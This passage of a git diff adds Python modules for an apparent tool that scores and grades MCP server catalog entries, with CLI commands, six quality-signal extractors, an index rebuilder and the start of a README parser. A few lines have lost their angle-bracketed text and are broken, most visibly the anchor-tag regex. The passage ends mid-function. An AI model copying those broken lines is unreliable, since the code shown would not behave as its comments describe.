+    """Enumerate every MCP server slug in the wiki entity tree.
+
+    Walks ``/entities/mcp-servers/`` shards, collecting ``*.md``
+    stems that pass ``MCP_SLUG_RE``. Returns sorted list.
+    """
+    mcp_root = wiki_dir / "entities" / "mcp-servers"
+    if not mcp_root.is_dir():
+        return []
+    slugs: list[str] = []
+    for shard_dir in sorted(mcp_root.iterdir()):
+        if not shard_dir.is_dir():
+            continue
+        for entry in sorted(shard_dir.glob("*.md")):
+            slug = entry.stem
+            if MCP_SLUG_RE.match(slug):
+                slugs.append(slug)
+    return slugs
+
+
+def recompute_all(
+    *,
+    wiki_dir: Path,
+    config: McpQualityConfig | None = None,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> tuple[list[McpQualityScore], list[tuple[str, Exception]]]:
+    """Recompute every MCP entity in the wiki, loading the graph index once.
+
+    Returns:
+        ``(successes, failures)`` where failures is a list of
+        ``(slug, exception)`` pairs.
+    """
+    slugs = discover_mcp_slugs(wiki_dir)
+    graph_index = load_graph_index(wiki_dir)
+
+    successes: list[McpQualityScore] = []
+    failures: list[tuple[str, Exception]] = []
+    for slug in slugs:
+        try:
+            score = recompute_slug(
+                slug,
+                wiki_dir=wiki_dir,
+                config=config,
+                graph_index=graph_index,
+                sidecar_dir=sidecar_dir,
+                update_frontmatter=update_frontmatter,
+            )
+            successes.append(score)
+        except (FileNotFoundError, ValueError, OSError, ImportError) as exc:
+            failures.append((slug, exc))
+    return successes, failures
+
+
+# ────────────────────────────────────────────────────────────────────
+# CLI helpers
+# ────────────────────────────────────────────────────────────────────
+
+
+def _wiki_dir_from_config() -> Path:
+    """Return wiki_dir from ctx_config.cfg or a sensible fallback.
+
+    Uses ``Path.home()`` rather than ``os.path.expanduser("~")`` so
+    tests can monkeypatch ``Path.home`` for isolation.
+    """
+    try:
+        from ctx_config import cfg  # local import: avoid cost on unit-test import
+        return cfg.wiki_dir
+    except Exception:  # noqa: BLE001
+        return Path.home() / ".claude" / "skill-wiki"
+
+
+def _resolve_wiki_dir(args: argparse.Namespace) -> Path:
+    """CLI helper: --wiki-dir override on parent parser wins over config."""
+    explicit = getattr(args, "wiki_dir", None)
+    if explicit is not None:
+        return Path(explicit)
+    return _wiki_dir_from_config()
+
+
+def _config_from_cfg() -> McpQualityConfig:
+    """Build McpQualityConfig from ctx_config.cfg's mcp_quality block."""
+    try:
+        from ctx_config import cfg
+        raw = cfg.get("mcp_quality", {}) or {}
+    except Exception:  # noqa: BLE001
+        return McpQualityConfig()
+    if not isinstance(raw, dict):
+        return McpQualityConfig()
+
+    kwargs: dict[str, Any] = {}
+    weights = raw.get("weights")
+    thresholds = raw.get("grade_thresholds")
+    if isinstance(weights, dict) and weights:
+        kwargs["weights"] = {k: float(v) for k, v in weights.items()}
+    if isinstance(thresholds, dict) and thresholds:
+        kwargs["grade_thresholds"] = {k: float(v) for k, v in thresholds.items()}
+    for key in ("star_saturation", "graph_degree_saturation"):
+        val = raw.get(key)
+        if isinstance(val, int) and val > 0:
+            kwargs[key] = val
+    half_life = raw.get("freshness_half_life_days")
+    if isinstance(half_life, (int, float)) and half_life > 0:
+        kwargs["freshness_half_life_days"] = float(half_life)
+
+    try:
+        return McpQualityConfig(**kwargs)
+    except ValueError:
+        _logger.warning("mcp_quality: invalid config block; using defaults")
+        return McpQualityConfig()
+
+
+# ────────────────────────────────────────────────────────────────────
+# CLI command handlers
+# ────────────────────────────────────────────────────────────────────
+
+
+def cmd_recompute(args: argparse.Namespace) -> int:
+    wiki_dir = _resolve_wiki_dir(args)
+    cfg = _config_from_cfg()
+
+    results: list[dict[str, Any]] = []
+    failures = 0
+
+    if args.all:
+        scores, errs = recompute_all(wiki_dir=wiki_dir, config=cfg)
+        results = [s.to_dict() for s in scores]
+        failures = len(errs)
+        for slug, exc in errs:
+            print(f"[recompute] {slug}: {exc}", file=sys.stderr)
+    elif args.slug:
+        try:
+            graph_index = load_graph_index(wiki_dir)
+            score = recompute_slug(
+                args.slug, wiki_dir=wiki_dir, config=cfg, graph_index=graph_index
+            )
+            results.append(score.to_dict())
+        except (FileNotFoundError, ValueError, OSError, ImportError) as exc:
+            failures += 1
+            print(f"[recompute] {args.slug}: {exc}", file=sys.stderr)
+    else:
+        print("recompute: pass --slug SLUG or --all", file=sys.stderr)
+        return 2
+
+    if args.json:
+        print(
+            json.dumps(
+                {"count": len(results), "failures": failures, "results": results},
+                indent=2,
+            )
+        )
+    else:
+        for r in results:
+            print(
+                f"{r['grade']}  {r['slug']:<50}  score={r['score']:.2f}"
+            )
+        print(f"{len(results)} recomputed, {failures} failed", file=sys.stderr)
+    return 0 if failures == 0 else 1
+
+
+def cmd_show(args: argparse.Namespace) -> int:
+    loaded = load_quality(args.slug)
+    if loaded is None:
+        print(
+            f"no sidecar for {args.slug!r} (run recompute first)",
+            file=sys.stderr,
+        )
+        return 1
+    if args.json:
+        print(json.dumps(loaded.to_dict(), indent=2))
+    else:
+        print(f"{loaded.slug}")
+        print(f"  grade:    {loaded.grade}")
+        print(f"  score:    {loaded.score:.2f} (raw {loaded.raw_score:.2f})")
+        print(f"  computed: {loaded.computed_at}")
+    return 0
+
+
+def cmd_explain(args: argparse.Namespace) -> int:
+    loaded = load_quality(args.slug)
+    if loaded is None:
+        print(
+            f"no sidecar for {args.slug!r} (run recompute first)",
+            file=sys.stderr,
+        )
+        return 1
+    print(f"{loaded.slug} — grade {loaded.grade}")
+    print(f"  raw={loaded.raw_score:.4f}  score={loaded.score:.4f}")
+    print("")
+    for name in _SIGNAL_ORDER:
+        sig = loaded.signals.get(name)
+        w = loaded.weights.get(name, 0.0)
+        if sig is None:
+            print(f"  {name}: MISSING")
+            continue
+        print(f"  {name}: score={sig.score:.2f}  weight={w:.2f}")
+        for k, v in sig.evidence.items():
+            print(f"    {k}: {v}")
+    return 0
+
+
+def cmd_list(args: argparse.Namespace) -> int:
+    sd = default_sidecar_dir()
+    if not sd.is_dir():
+        print("no MCP quality data yet (run recompute --all)", file=sys.stderr)
+        return 0
+
+    rows: list[dict[str, Any]] = []
+    for p in sorted(sd.glob("*.json")):
+        try:
+            data = json.loads(p.read_text(encoding="utf-8"))
+        except (json.JSONDecodeError, OSError):
+            continue
+        if "grade" not in data:
+            continue
+        rows.append(data)
+
+    if getattr(args, "grade", None):
+        rows = [r for r in rows if r.get("grade") == args.grade]
+
+    if getattr(args, "json", False):
+        print(json.dumps(rows, indent=2))
+    else:
+        for r in sorted(
+            rows, key=lambda x: (x.get("grade", "Z"), x.get("slug", ""))
+        ):
+            # Format: \t\tscore=N.NN
+            # Slug-first matches the convention used by the existing
+            # ctx-skill-quality list and aligns with how users grep
+            # ("ctx-mcp-quality list | grep my-mcp").
+            print(
+                f"{r.get('slug', '?')}\t{r.get('grade', '?')}\t"
+                f"score={float(r.get('score', 0)):.2f}"
+            )
+        print(f"{len(rows)} MCP entries", file=sys.stderr)
+    return 0
+
+
+# ────────────────────────────────────────────────────────────────────
+# Argparser + main
+# ────────────────────────────────────────────────────────────────────
+
+
+def _add_wiki_dir(parser: argparse.ArgumentParser) -> None:
+    """Attach the --wiki-dir flag to *parser*.
+
+    Lives on every subparser (not just the parent) so users can put the
+    flag either before or after the verb -- argparse with subparsers
+    requires parent flags to precede the verb, which trips up natural
+    `ctx-mcp-quality recompute --slug X --wiki-dir Y` usage.
+    """
+    parser.add_argument(
+        "--wiki-dir",
+        metavar="PATH",
+        type=Path,
+        default=None,
+        help="Wiki root (default: ctx_config.cfg.wiki_dir or ~/.claude/skill-wiki)",
+    )
+
+
+def build_argparser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(
+        prog="ctx-mcp-quality",
+        description="Score and persist quality for MCP server catalog entries.",
+    )
+    _add_wiki_dir(p)
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    r = sub.add_parser("recompute", help="Recompute quality for one or all MCP slugs")
+    _add_wiki_dir(r)
+    r_group = r.add_mutually_exclusive_group(required=True)
+    r_group.add_argument("--slug", metavar="SLUG", help="recompute a single MCP slug")
+    r_group.add_argument("--all", action="store_true", help="recompute every MCP entity")
+    r.add_argument("--json", action="store_true", help="emit JSON result")
+    r.set_defaults(func=cmd_recompute)
+
+    s = sub.add_parser("show", help="Show the current persisted score for a slug")
+    _add_wiki_dir(s)
+    s.add_argument("slug")
+    s.add_argument("--json", action="store_true", help="emit JSON")
+    s.set_defaults(func=cmd_show)
+
+    e = sub.add_parser("explain", help="Print signal breakdown and evidence for a slug")
+    _add_wiki_dir(e)
+    e.add_argument("slug")
+    e.set_defaults(func=cmd_explain)
+
+    ls = sub.add_parser("list", help="List all MCP slugs with their grades (tab-separated)")
+    _add_wiki_dir(ls)
+    ls.add_argument("--grade", metavar="GRADE", help="filter by grade (A/B/C/D)")
+    ls.add_argument("--json", action="store_true", help="emit JSON")
+    ls.set_defaults(func=cmd_list)
+
+    return p
+
+
+def main(argv: list[str] | None = None) -> int:
+    """Entry point for the ``ctx-mcp-quality`` console script."""
+    parser = build_argparser()
+    args = parser.parse_args(argv)
+    return int(args.func(args))
+
+
+if __name__ == "__main__":
+    sys.exit(main())
+
+
+__all__ = [
+    "McpQualityConfig",
+    "McpQualityScore",
+    "build_argparser",
+    "compute_quality",
+    "default_sidecar_dir",
+    "discover_mcp_slugs",
+    "extract_signals_for_slug",
+    "load_graph_index",
+    "load_quality",
+    "main",
+    "persist_quality",
+    "recompute_all",
+    "recompute_slug",
+    "sidecar_path",
+]
diff --git a/src/mcp_quality_signals.py b/src/mcp_quality_signals.py
new file mode 100644
index 0000000000000000000000000000000000000000..0e61448fab40e202e4bcdc7461d61a8bc56d5c7a
--- /dev/null
+++ b/src/mcp_quality_signals.py
@@ -0,0 +1,373 @@
+#!/usr/bin/env python3
+"""
+mcp_quality_signals.py -- Six deterministic quality-signal extractors for MCP servers.
+
+Signals (all normalized to [0, 1]):
+
+  1. popularity  — GitHub star count, log-scaled.  No enrichment yet → 0.5.
+  2. freshness   — Exponential decay from the most-recent commit.  No age → 0.5.
+  3. structural  — Five presence checks on McpRecord fields (description,
+                   repo URL, tags, transports, language).
+  4. graph       — Graph-connectivity score reusing the skill-graph spirit:
+                   general degree + cross-type bonus for skill/agent edges.
+  5. trust       — Official status, license presence, and author presence.
+  6. runtime     — Real-usage telemetry (invocation count, error rate).
+                   All inputs default to 0/None → 0.5 until Phase 5 data lands.
+
+Each extractor is a pure function: takes already-loaded inputs, returns a
+``SignalResult``.  All I/O is the caller's job; this module is deterministic
+and trivially unit-testable.
+
+The MCP scorer (separate module) will compose a weighted sum of these six
+results, apply hard floors, and map to a quality grade.
+"""
+
+from __future__ import annotations
+
+import math
+from typing import Any
+
+from mcp_entity import McpRecord
+from ctx.core.quality.quality_signals import SignalResult
+
+__all__ = [
+    "popularity_signal",
+    "freshness_signal",
+    "structural_signal",
+    "graph_signal",
+    "trust_signal",
+    "runtime_signal",
+]
+
+# ────────────────────────────────────────────────────────────────────
+# Module-scope constants (referenced by tests and the scorer)
+# ────────────────────────────────────────────────────────────────────
+
+# popularity_signal
+_POPULARITY_STAR_SATURATION = 1_000
+
+# freshness_signal
+_FRESHNESS_HALF_LIFE_DAYS = 90.0
+_LN2 = math.log(2.0)
+
+# graph_signal
+_GRAPH_DEGREE_SATURATION = 20
+_GRAPH_DEGREE_WEIGHT = 0.7
+_GRAPH_CROSS_TYPE_WEIGHT = 0.3
+_GRAPH_CROSS_TYPE_SATURATION = 5
+
+# trust_signal
+_TRUST_OFFICIAL_WEIGHT = 0.5
+_TRUST_LICENSE_WEIGHT = 0.3
+_TRUST_AUTHOR_WEIGHT = 0.2
+
+# runtime_signal
+_RUNTIME_USAGE_SATURATION = 10
+_RUNTIME_ERROR_PENALTY_SCALE = 5.0  # 20 % errors → 0 reliability
+
+
+# ────────────────────────────────────────────────────────────────────
+# 1. Popularity
+# ────────────────────────────────────────────────────────────────────
+
+
+def popularity_signal(
+    *,
+    stars: int | None,
+    star_saturation: int = _POPULARITY_STAR_SATURATION,
+) -> SignalResult:
+    """GitHub stars, log-scaled.
+
+    Args:
+        stars: GitHub star count from enrichment.  ``None`` means
+            enrichment has not run yet (neutral 0.5).
+        star_saturation: Star count at which the score saturates to 1.0.
+            Defaults to ``_POPULARITY_STAR_SATURATION`` (1 000).
+
+    Returns:
+        ``SignalResult`` with evidence keys
+        ``{"stars", "neutral_for_unknown"}``.
+
+    Raises:
+        ValueError: If ``star_saturation <= 0`` or ``stars < 0``.
+    """
+    if star_saturation <= 0:
+        raise ValueError("star_saturation must be > 0")
+
+    if stars is None:
+        return SignalResult(
+            score=0.5,
+            evidence={"stars": None, "neutral_for_unknown": True},
+        )
+
+    if stars < 0:
+        raise ValueError("stars must be >= 0")
+
+    if stars == 0:
+        score = 0.0
+    else:
+        # log10(stars + 1) / log10(saturation + 1) — saturates at 1.0
+        score = math.log10(stars + 1.0) / math.log10(star_saturation + 1.0)
+
+    evidence: dict[str, Any] = {"stars": stars, "neutral_for_unknown": False}
+    return SignalResult(score=score, evidence=evidence)
+
+
+# ────────────────────────────────────────────────────────────────────
+# 2. Freshness
+# ────────────────────────────────────────────────────────────────────
+
+
+def freshness_signal(
+    *,
+    last_commit_age_days: float | None,
+    half_life_days: float = _FRESHNESS_HALF_LIFE_DAYS,
+) -> SignalResult:
+    """Exponential decay from 1.0 (just committed) by half-life.
+
+    Args:
+        last_commit_age_days: Days since the most recent commit.
+            ``None`` means no enrichment yet (neutral 0.5).
+        half_life_days: Days at which the score decays to 0.5.
+            Defaults to ``_FRESHNESS_HALF_LIFE_DAYS`` (90).
+
+    Returns:
+        ``SignalResult`` with evidence keys
+        ``{"last_commit_age_days", "neutral_for_unknown"}``.
+
+    Raises:
+        ValueError: If ``half_life_days <= 0`` or
+            ``last_commit_age_days < 0``.
+    """
+    if half_life_days <= 0.0:
+        raise ValueError("half_life_days must be > 0")
+
+    if last_commit_age_days is None:
+        return SignalResult(
+            score=0.5,
+            evidence={"last_commit_age_days": None, "neutral_for_unknown": True},
+        )
+
+    if last_commit_age_days < 0.0:
+        raise ValueError("last_commit_age_days must be >= 0 when present")
+
+    score = math.exp(-last_commit_age_days * _LN2 / half_life_days)
+
+    evidence: dict[str, Any] = {
+        "last_commit_age_days": last_commit_age_days,
+        "neutral_for_unknown": False,
+    }
+    return SignalResult(score=score, evidence=evidence)
+
+
+# ────────────────────────────────────────────────────────────────────
+# 3. Structural
+# ────────────────────────────────────────────────────────────────────
+
+_DESCRIPTION_PLACEHOLDER = "No description available."
+
+
+def structural_signal(
+    *,
+    record: McpRecord,
+) -> SignalResult:
+    """Five structural presence checks; each pass adds 1/5 to the score.
+
+    Checks (in order):
+        - ``has_description``: description is not the fallback placeholder.
+        - ``has_repo_url``: ``github_url`` or ``homepage_url`` is set.
+        - ``has_tags``: ``tags`` is non-empty and not just ``["uncategorized"]``.
+        - ``has_transports``: ``transports`` is non-empty.
+        - ``has_language``: ``language`` is set.
+
+    Args:
+        record: A fully-normalised ``McpRecord``.
+
+    Returns:
+        ``SignalResult`` with evidence ``{check_name: bool, ...}`` for
+        each of the five checks.
+    """
+    checks: dict[str, bool] = {
+        "has_description": bool(record.description)
+        and record.description != _DESCRIPTION_PLACEHOLDER,
+        "has_repo_url": bool(record.github_url or record.homepage_url),
+        "has_tags": bool(record.tags)
+        and not (len(record.tags) == 1 and record.tags[0] == "uncategorized"),
+        "has_transports": bool(record.transports),
+        "has_language": bool(record.language),
+    }
+
+    passed = sum(1 for v in checks.values() if v)
+    score = passed / 5.0
+
+    evidence: dict[str, Any] = dict(checks)
+    return SignalResult(score=score, evidence=evidence)
+
+
+# ────────────────────────────────────────────────────────────────────
+# 4. Graph connectivity
+# ────────────────────────────────────────────────────────────────────
+
+
+def graph_signal(
+    *,
+    degree: int,
+    cross_type_degree: int,
+    degree_saturation: int = _GRAPH_DEGREE_SATURATION,
+) -> SignalResult:
+    """Graph-connectivity score with a cross-type bonus.
+
+    Two weighted terms:
+        - ``0.7 * min(1, degree / degree_saturation)`` — general
+          connectedness.
+        - ``0.3 * min(1, cross_type_degree / 5)`` — bonus for edges to
+          skill/agent nodes, reflecting the cross-type recommendation
+          feature.
+
+    Args:
+        degree: Total edge count incident to this MCP node.
+        cross_type_degree: Subset of ``degree`` that crosses to skill or
+            agent nodes.
+        degree_saturation: Degree at which the connectivity term saturates
+            to 1.0.  Defaults to ``_GRAPH_DEGREE_SATURATION`` (20).
+
+    Returns:
+        ``SignalResult`` with evidence
+        ``{"degree", "cross_type_degree", "isolated"}``.
+
+    Raises:
+        ValueError: If any count is negative or ``degree_saturation <= 0``.
+    """
+    if degree < 0:
+        raise ValueError("degree must be >= 0")
+    if cross_type_degree < 0:
+        raise ValueError("cross_type_degree must be >= 0")
+    if degree_saturation <= 0:
+        raise ValueError("degree_saturation must be > 0")
+
+    degree_term = min(1.0, degree / float(degree_saturation))
+    cross_term = min(1.0, cross_type_degree / float(_GRAPH_CROSS_TYPE_SATURATION))
+
+    score = _GRAPH_DEGREE_WEIGHT * degree_term + _GRAPH_CROSS_TYPE_WEIGHT * cross_term
+
+    evidence: dict[str, Any] = {
+        "degree": degree,
+        "cross_type_degree": cross_type_degree,
+        "isolated": degree == 0,
+    }
+    return SignalResult(score=score, evidence=evidence)
+
+
+# ────────────────────────────────────────────────────────────────────
+# 5. Trust
+# ────────────────────────────────────────────────────────────────────
+
+
+def trust_signal(
+    *,
+    record: McpRecord,
+) -> SignalResult:
+    """Three trust indicators combined as a weighted sum.
+
+    Weights:
+        - ``0.5`` — ``official_or_org``: ``"official"`` in tags OR
+          ``author_type == "org"``.
+        - ``0.3`` — ``has_license``: ``license`` field is set.
+        - ``0.2`` — ``has_known_author``: ``author`` field is set and
+          non-empty.
+
+    Args:
+        record: A fully-normalised ``McpRecord``.
+
+    Returns:
+        ``SignalResult`` with evidence
+        ``{"official_or_org", "has_license", "has_author"}``.
+    """
+    official_or_org: bool = (
+        "official" in record.tags or record.author_type == "org"
+    )
+    has_license: bool = bool(record.license)
+    has_author: bool = bool(record.author)
+
+    score = (
+        _TRUST_OFFICIAL_WEIGHT * (1.0 if official_or_org else 0.0)
+        + _TRUST_LICENSE_WEIGHT * (1.0 if has_license else 0.0)
+        + _TRUST_AUTHOR_WEIGHT * (1.0 if has_author else 0.0)
+    )
+
+    evidence: dict[str, Any] = {
+        "official_or_org": official_or_org,
+        "has_license": has_license,
+        "has_author": has_author,
+    }
+    return SignalResult(score=score, evidence=evidence)
+
+
+# ────────────────────────────────────────────────────────────────────
+# 6. Runtime / telemetry
+# ────────────────────────────────────────────────────────────────────
+
+
+def runtime_signal(
+    *,
+    invocation_count: int = 0,
+    error_count: int = 0,
+    last_invoked_age_days: float | None = None,
+) -> SignalResult:
+    """Real-usage telemetry score.
+
+    Until ctx-mcp-load lands (Phase 5+) all inputs default to 0/None and
+    this signal returns 0.5 (neutral) so fresh MCPs are not penalised for
+    lack of usage data.
+
+    When data exists:
+        - ``error_rate = error_count / invocation_count``
+        - ``usage_term = min(1, invocation_count / 10)``
+        - ``reliability_term = 1.0 - min(1, error_rate * 5)``
+        - ``score = (usage_term + reliability_term) / 2``
+
+    ``last_invoked_age_days`` is captured in evidence for future
+    recency-decay extension but does not affect the score today.
+
+    Args:
+        invocation_count: Total number of times this MCP was invoked.
+        error_count: Number of those invocations that produced an error.
+        last_invoked_age_days: Days since the most recent invocation.
+            ``None`` when never invoked or unknown.
+
+    Returns:
+        ``SignalResult`` with evidence
+        ``{"invocation_count", "error_count", "error_rate",
+           "neutral_no_data"}``.
+
+    Raises:
+        ValueError: If any count is negative, ``error_count >
+            invocation_count``, or ``last_invoked_age_days < 0``.
+    """
+    if invocation_count < 0:
+        raise ValueError("invocation_count must be >= 0")
+    if error_count < 0:
+        raise ValueError("error_count must be >= 0")
+    if error_count > invocation_count:
+        raise ValueError("error_count must be <= invocation_count")
+    if last_invoked_age_days is not None and last_invoked_age_days < 0.0:
+        raise ValueError("last_invoked_age_days must be >= 0 when present")
+
+    neutral_no_data = invocation_count == 0
+
+    if neutral_no_data:
+        error_rate = 0.0
+        score = 0.5
+    else:
+        error_rate = error_count / float(invocation_count)
+        usage_term = min(1.0, invocation_count / float(_RUNTIME_USAGE_SATURATION))
+        reliability_term = 1.0 - min(1.0, error_rate * _RUNTIME_ERROR_PENALTY_SCALE)
+        score = (usage_term + reliability_term) / 2.0
+
+    evidence: dict[str, Any] = {
+        "invocation_count": invocation_count,
+        "error_count": error_count,
+        "error_rate": error_rate,
+        "neutral_no_data": neutral_no_data,
+    }
+    return SignalResult(score=score, evidence=evidence)
diff --git a/src/mcp_rebuild_index.py b/src/mcp_rebuild_index.py
new file mode 100644
index 0000000000000000000000000000000000000000..a9846ed5e726e8822d2c495956b2c4829fc12752
--- /dev/null
+++ b/src/mcp_rebuild_index.py
@@ -0,0 +1,113 @@
+#!/usr/bin/env python3
+"""
+mcp_rebuild_index.py -- Rebuild the canonical-key sidecar index from disk.
+
+Usage
+-----
+    ctx-mcp-rebuild-index [--wiki PATH] [--dry-run]
+
+Reads every ``*.md`` under ``/entities/mcp-servers/``, parses its
+YAML frontmatter, and writes
+``/entities/mcp-servers/.canonical-index.json`` with a fresh
+``github_url -> {slug, relpath}`` map.
+
+Intended to be run:
+
+- Once, to backfill the sidecar for the entities that existed before
+  Phase 6b (the ``add_mcp`` hot-path upsert only covers records added
+  after the feature landed).
+- Any time the index is suspected stale (manual edits, restored from
+  backup, cross-wiki merge). The normal scan-and-repair fallback in
+  ``_find_existing_by_github_url`` handles one-off drift, but a full
+  rebuild is cheap (~1 s at 15k entities) and gives a clean baseline.
+
+Exit codes: 0 on success, 2 on missing wiki path, 1 on unexpected error.
+"""
+
+from __future__ import annotations
+
+import argparse
+import os
+import sys
+from pathlib import Path
+
+from ctx_config import cfg
+from mcp_canonical_index import rebuild_from_scan
+
+_MCP_ENTITY_SUBDIR = "entities/mcp-servers"
+
+
+def main() -> None:
+    """Entry point for ``ctx-mcp-rebuild-index``."""
+    parser = argparse.ArgumentParser(
+        prog="ctx-mcp-rebuild-index",
+        description=(
+            "Rebuild the canonical-key sidecar index from existing MCP entity "
+            "pages. Idempotent; safe to run repeatedly."
+        ),
+    )
+    parser.add_argument(
+        "--wiki",
+        default=str(cfg.wiki_dir),
+        help="Wiki root path (default: config wiki_dir)",
+    )
+    parser.add_argument(
+        "--dry-run",
+        action="store_true",
+        help="Scan and report counts without writing the sidecar file",
+    )
+    args = parser.parse_args()
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+    mcp_dir = wiki_path / _MCP_ENTITY_SUBDIR
+
+    if not mcp_dir.is_dir():
+        print(
+            f"Error: MCP entity directory does not exist: {mcp_dir}",
+            file=sys.stderr,
+        )
+        sys.exit(2)
+
+    if args.dry_run:
+        # Dry-run uses the same traversal but discards the write. Easiest
+        # way is to call the real rebuild, then overwrite the file back
+        # — but that's still a write. Instead, walk inline and count.
+        indexed = 0
+        skipped = 0
+        for page in mcp_dir.rglob("*.md"):
+            if page.name.startswith("."):
+                skipped += 1
+                continue
+            # Lazy import to match the module pattern.
+            from mcp_add import _normalize_github_url, _parse_frontmatter  # noqa: PLC0415
+            try:
+                text = page.read_text(encoding="utf-8", errors="replace")
+            except OSError:
+                skipped += 1
+                continue
+            fm = _parse_frontmatter(text)
+            if _normalize_github_url(fm.get("github_url")) is None:
+                skipped += 1
+            else:
+                indexed += 1
+        print(
+            f"[dry-run] would index {indexed} entities, "
+            f"skip {skipped} (no github_url or unreadable)."
+        )
+        sys.exit(0)
+
+    try:
+        _, indexed, skipped = rebuild_from_scan(mcp_dir)
+    except Exception as exc:  # noqa: BLE001 — surface any failure to operator
+        print(f"Error: rebuild failed: {exc}", file=sys.stderr)
+        sys.exit(1)
+
+    print(
+        f"Canonical index rebuilt: {indexed} entities indexed, "
+        f"{skipped} skipped (no github_url)."
+    )
+    sys.exit(0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_sources/__init__.py b/src/mcp_sources/__init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..66392fb72bb24cb423aea75eca7ae33c7b618e5e
--- /dev/null
+++ b/src/mcp_sources/__init__.py
@@ -0,0 +1,23 @@
+"""Registry of MCP catalog sources.
+
+Each :class:`~mcp_sources.base.Source` implementation lives in
+``mcp_sources/.py`` and exposes a module-level ``SOURCE`` attribute.
+This package imports every known source eagerly and maps its ``name`` into
+:data:`SOURCES` so CLI dispatchers can resolve ``--source `` without
+reflection or entry-point discovery.
+
+Adding a source is a two-line patch here plus the new module file; keep the
+list alphabetical so reviewers can tell at a glance whether a source is
+already registered.
+"""
+
+from mcp_sources.awesome_mcp import SOURCE as _AWESOME
+from mcp_sources.base import Source
+from mcp_sources.pulsemcp import SOURCE as _PULSEMCP
+
+SOURCES: dict[str, Source] = {
+    _AWESOME.name: _AWESOME,
+    _PULSEMCP.name: _PULSEMCP,
+}
+
+__all__ = ["SOURCES", "Source"]
diff --git a/src/mcp_sources/awesome_mcp.py b/src/mcp_sources/awesome_mcp.py
new file mode 100644
index 0000000000000000000000000000000000000000..ad40eb0e534fb8a0b4708d398989d8f2cbb9d270
--- /dev/null
+++ b/src/mcp_sources/awesome_mcp.py
@@ -0,0 +1,263 @@
+"""src/mcp_sources/awesome_mcp.py -- Source for github.com/punkpeye/awesome-mcp-servers.
+
+Parses the README markdown into raw McpRecord-shaped dicts.
+
+README structure (as observed 2026-04-20):
+- ## Server Implementations  (top-level gate — only parse after this heading)
+- ###    (section headers)
+- - [name](url) [badge markup] [emoji flags] - description  (entry lines)
+
+Entry separators may be ` - `, ` – ` (en-dash), or ` — ` (em-dash).
+Some entries have no description. Badge markup ([!img](url)) is stripped.
+Language is inferred from emoji annotation in the entry line.
+"""
+
+from __future__ import annotations
+
+import logging
+import re
+from collections.abc import Iterator
+from datetime import date
+
+from mcp_sources.base import Source, fetch_text, read_cache, write_cache
+
+_logger = logging.getLogger(__name__)
+
+
+URL = "https://raw.githubusercontent.com/punkpeye/awesome-mcp-servers/main/README.md"
+
+# ---------------------------------------------------------------------------
+# Language emoji -> language name map (from the README legend)
+# ---------------------------------------------------------------------------
+_LANG_EMOJI: dict[str, str] = {
+    "\U0001f40d": "python",        # 🐍
+    "\U0001f4c7": "typescript",    # 📇 (card index dividers — TS/JS)
+    "\U0001f3ce\ufe0f": "go",      # 🏎️
+    "\U0001f980": "rust",          # 🦀
+    "#\ufe0f\u20e3": "csharp",     # #️⃣
+    "\u2615": "java",              # ☕
+    "\U0001f30a": "c/c++",         # 🌊
+    "\U0001f48e": "ruby",          # 💎
+}
+
+# Badge image markup: [![alt](img-url)](link-url) — strip entirely
+_BADGE_RE = re.compile(r"\[!\[.*?\]\(.*?\)\]\(.*?\)")
+
+# Inline image (no outer link): ![alt](url)
+_INLINE_IMG_RE = re.compile(r"!\[.*?\]\(.*?\)")
+
+# Markdown link: [text](url)
+_LINK_RE = re.compile(r"\[([^\]]*)\]\(([^)]*)\)")
+
+# Section heading: ### ... Title
+_SECTION_H3_RE = re.compile(r"^#{1,3}\s+(.+)$")
+
+# Anchor tag used inside headings: 
+_ANCHOR_TAG_RE = re.compile(r"]*>.*?", re.IGNORECASE)
+
+# Non-ASCII characters (for stripping emoji before slugifying section names)
+_NON_ASCII_RE = re.compile(r"[^\x00-\x7f]")
+
+# Description separators: ` - `, ` – `, ` — ` (with surrounding spaces)
+_DESC_SEP_RE = re.compile(r"\s[-\u2013\u2014]\s")
+
+# The ## heading that gates the server entry section
+_SERVER_SECTION_MARKER = "Server Implementations"
+
+# Sections we know are not server entries (after ## Server Implementations ends
+# another ## heading appears — we stop at the next ## that isn't a sub-section)
+_STOP_MARKER_RE = re.compile(r"^##\s+(?!#)")
+
+
+def _section_to_tag(raw_heading: str) -> str:
+    """Convert a raw ### heading text to a hyphenated lowercase tag.
+
+    Strips HTML anchor tags, emoji/non-ASCII, normalizes whitespace,
+    and collapses runs of non-alphanumeric characters to single hyphens.
+
+    Examples::
+
+        "🔗 Aggregators"  -> "aggregators"
+        "🔄 Version Control" -> "version-control"
+        "Biology, Medicine and Bioinformatics" -> "biology-medicine-and-bioinformatics"
+    """
+    # Remove HTML anchor tags
+    text = _ANCHOR_TAG_RE.sub("", raw_heading)
+    # Remove non-ASCII (emoji, etc.)
+    text = _NON_ASCII_RE.sub("", text)
+    # Lowercase and collapse runs of non-alphanumeric to hyphen
+    text = text.strip().lower()
+    text = re.sub(r"[^a-z0-9]+", "-", text).strip("-")
+    return text or "uncategorized"
+
+
+def _detect_language(line: str) -> str | None:
+    """Return a language string if a known language emoji is present."""
+    for emoji, lang in _LANG_EMOJI.items():
+        if emoji in line:
+            return lang
+    return None
+
+
+def _strip_badges_and_links(text: str) -> tuple[str, list[tuple[str, str]]]:
+    """Remove badge markup from *text*, return cleaned text + list of (label, url) links."""
+    cleaned = _BADGE_RE.sub("", text)
+    cleaned = _INLINE_IMG_RE.sub("", cleaned)
+    links = _LINK_RE.findall(cleaned)
+    return cleaned, links
+
+
+def _parse_readme(text: str) -> list[dict]:  # noqa: C901 — complexity justified by format variance
+    """Walk the README headings + bullets, yield one dict per server entry.
+
+    Pure function — no I/O. Designed to be easy to unit-test against a
+    fixture excerpt.
+
+    Args:
+        text: Full contents of the README markdown file.
+
+    Returns:
+        List of raw dicts, each acceptable to ``McpRecord.from_dict()``.
+    """
+    records: list[dict] = []
+    skipped = 0
+
+    in_server_section = False
+    current_tag: str = "uncategorized"
+
+    for raw_line in text.splitlines():
+        line = raw_line.rstrip()
+
+        # ----------------------------------------------------------------
+        # Track ## / ### headings
+        # ----------------------------------------------------------------
+        if line.startswith("##"):
+            # A bare ## (not ###) is either the gate-in or the gate-out
+            if not line.startswith("###"):
